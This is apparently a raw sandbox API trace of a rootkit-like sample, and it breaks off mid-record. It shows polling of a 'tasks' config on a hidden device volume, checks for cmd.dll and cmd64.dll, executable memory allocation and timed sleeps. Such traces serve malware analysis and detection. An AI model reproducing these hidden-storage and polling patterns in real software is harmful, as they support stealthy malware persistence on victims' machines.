[0121.127] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.127] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.127] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.127] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.127] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.127] IdePortDispatch () returned 0x103 [0121.127] KeWaitForMutexObject () returned 0x0 [0121.127] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.127] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.127] KeLeaveCriticalRegion () [0121.127] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.128] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.128] KeEnterCriticalRegion () [0121.128] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.128] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c0000 [0121.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.128] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.128] IdePortDispatch () returned 0x103 [0121.128] KeWaitForMutexObject () returned 0x0 [0121.128] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.128] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.128] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.128] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.128] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.128] IdePortDispatch () returned 0x103 [0121.128] KeWaitForMutexObject () returned 0x0 [0121.128] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.128] KeLeaveCriticalRegion () [0121.128] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.129] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.129] KeEnterCriticalRegion () [0121.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.129] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.129] KeLeaveCriticalRegion () [0121.129] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.129] KeEnterCriticalRegion () [0121.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.129] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.129] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b67c60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.129] KeLeaveCriticalRegion () [0121.129] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.129] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.129] KeEnterCriticalRegion () [0121.129] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.129] ExFreePoolWithTag (P=0xfffffa8003bbe700, Tag=0x0) [0121.129] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.129] KeLeaveCriticalRegion () [0121.129] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.129] ReleaseMutex (hMutex=0xf0) returned 1 [0121.129] Sleep (dwMilliseconds=0x927c0) [0121.143] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.143] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.143] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.143] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.143] KeEnterCriticalRegion () [0121.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.143] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.144] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.144] IdePortDispatch () returned 0x103 [0121.144] KeWaitForMutexObject () returned 0x0 [0121.144] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.144] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.144] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.144] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.144] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.144] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3300 [0121.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.144] KeLeaveCriticalRegion () [0121.144] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.144] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.144] KeEnterCriticalRegion () [0121.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.144] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.144] KeLeaveCriticalRegion () [0121.144] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.144] KeEnterCriticalRegion () [0121.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.144] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.144] IdePortDispatch () returned 0x103 [0121.144] KeWaitForMutexObject () returned 0x0 [0121.144] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.145] KeLeaveCriticalRegion () [0121.145] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.145] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.145] KeEnterCriticalRegion () [0121.145] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.145] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c5000 [0121.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.145] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.145] IdePortDispatch () returned 0x103 [0121.145] KeWaitForMutexObject () returned 0x0 [0121.145] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.145] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.145] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.145] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.145] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.145] IdePortDispatch () returned 0x103 [0121.145] KeWaitForMutexObject () returned 0x0 [0121.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.145] KeLeaveCriticalRegion () [0121.145] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.146] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.146] KeEnterCriticalRegion () [0121.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.146] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.146] KeLeaveCriticalRegion () [0121.146] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.146] KeEnterCriticalRegion () [0121.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.146] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.146] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc33c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.146] KeLeaveCriticalRegion () [0121.146] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.146] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.146] KeEnterCriticalRegion () [0121.146] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.146] ExFreePoolWithTag (P=0xfffffa8003bc3300, Tag=0x0) [0121.146] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.146] KeLeaveCriticalRegion () [0121.146] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.146] ReleaseMutex (hMutex=0xf0) returned 1 [0121.146] Sleep (dwMilliseconds=0x927c0) [0121.161] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.161] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.161] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.161] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.161] KeEnterCriticalRegion () [0121.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.161] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.161] IdePortDispatch () returned 0x103 [0121.161] KeWaitForMutexObject () returned 0x0 [0121.161] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.161] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.161] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.161] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.162] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.162] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3fb0 [0121.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.162] KeLeaveCriticalRegion () [0121.162] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.162] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.162] KeEnterCriticalRegion () [0121.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.162] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.162] KeLeaveCriticalRegion () [0121.162] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.162] KeEnterCriticalRegion () [0121.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.162] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.162] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.162] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.162] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.162] IdePortDispatch () returned 0x103 [0121.162] KeWaitForMutexObject () returned 0x0 [0121.162] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.162] KeLeaveCriticalRegion () [0121.162] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.162] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.162] KeEnterCriticalRegion () [0121.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.162] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ca000 [0121.162] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.162] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.162] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.162] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.162] IdePortDispatch () returned 0x103 [0121.162] KeWaitForMutexObject () returned 0x0 [0121.163] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.163] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.163] IdePortDispatch () returned 0x103 [0121.163] KeWaitForMutexObject () returned 0x0 [0121.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.163] KeLeaveCriticalRegion () [0121.163] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.163] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.163] KeEnterCriticalRegion () [0121.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.163] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.163] KeLeaveCriticalRegion () [0121.164] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.164] KeEnterCriticalRegion () [0121.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.164] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.164] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.164] KeLeaveCriticalRegion () [0121.164] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.164] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.164] KeEnterCriticalRegion () [0121.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.164] ExFreePoolWithTag (P=0xfffffa8003bc3fb0, Tag=0x0) [0121.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.164] KeLeaveCriticalRegion () [0121.164] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.164] ReleaseMutex (hMutex=0xf0) returned 1 [0121.164] Sleep (dwMilliseconds=0x927c0) [0121.178] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.178] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.178] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.178] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.178] KeEnterCriticalRegion () [0121.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.178] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.178] IdePortDispatch () returned 0x103 [0121.178] KeWaitForMutexObject () returned 0x0 [0121.178] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.178] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.178] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.178] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.178] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.178] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b67cf0 [0121.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.178] KeLeaveCriticalRegion () [0121.178] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.178] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.178] KeEnterCriticalRegion () [0121.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.178] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.178] KeLeaveCriticalRegion () [0121.178] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.178] KeEnterCriticalRegion () [0121.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.179] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.179] IdePortDispatch () returned 0x103 [0121.180] KeWaitForMutexObject () returned 0x0 [0121.180] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.180] KeLeaveCriticalRegion () [0121.180] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.180] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.180] KeEnterCriticalRegion () [0121.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.180] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cf000 [0121.180] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.180] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.180] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.180] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.180] IdePortDispatch () returned 0x103 [0121.180] KeWaitForMutexObject () returned 0x0 [0121.180] 